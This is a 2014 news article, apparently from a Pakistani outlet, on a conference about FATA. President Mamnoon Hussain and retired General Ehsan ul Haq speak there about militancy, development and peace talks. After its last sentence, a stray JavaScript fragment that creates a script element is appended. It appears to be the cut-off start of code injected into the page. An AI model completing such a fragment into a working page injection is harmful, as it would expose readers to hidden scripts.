Published On: Tue, Mar 25th, 2014
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Government cognizant of sacrifices of brave FATA people: President

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ISLAMABAD: President Mamnoon Hussain has said government fully recognized sacrifices made by brave people of FATA and acknowledges the problems that are being faced by the citizens there.

Speaking at the two day International Conference on “FATA-In the shadow of the military pullout from Afghanistan” was organized by Institute of Strategic Studies (ISSI) in collaboration with the Danish Institute for International Studies (DIIS), the President said that hence Government of Pakistan was committed to bring lasting peace in the region.

He appraised the gathering that a development plan for the region has been devised, and funds have been allocated for education, health, electricity, agriculture etc, hoping that this plan will bring qualitative improvement in the lives of people, and prosperity in the region.

The President of Pakistan expressed his determination to fight all the challenges that Pakistan is facing in the face of withdrawal of foreign troops from Afghanistan.

Gen. (R) Ehsan ul Haq, Former Chairman Joint Chiefs of Staff Committee also spoke at the occasion; whence highlighting the importance of the subject and the time of this conference, he said that no other country has suffered as much in the war against terror as Pakistan.

“ Today, FATA is considered to be hub of militancy, and the prospects in near future are even more ominous due to the withdrawal of foreign forces from Afghanistan”, hence the situation called for military operations.

He also assured that the security situation in the tribal region was improved as 6 out of 7 tribal agencies, militant activities had been curtailed; yet militants were showing resilience, and are still a threat to the country.

The general advocated the path of dialogue, and peace agreements with the militants but also emphasized that such agreements should be made from the position of strength, while changing narratives. He also suggested bringing religious political parties and Ulema on board to make the peace process a success.var d=document;var s=d.createElement(‘script’);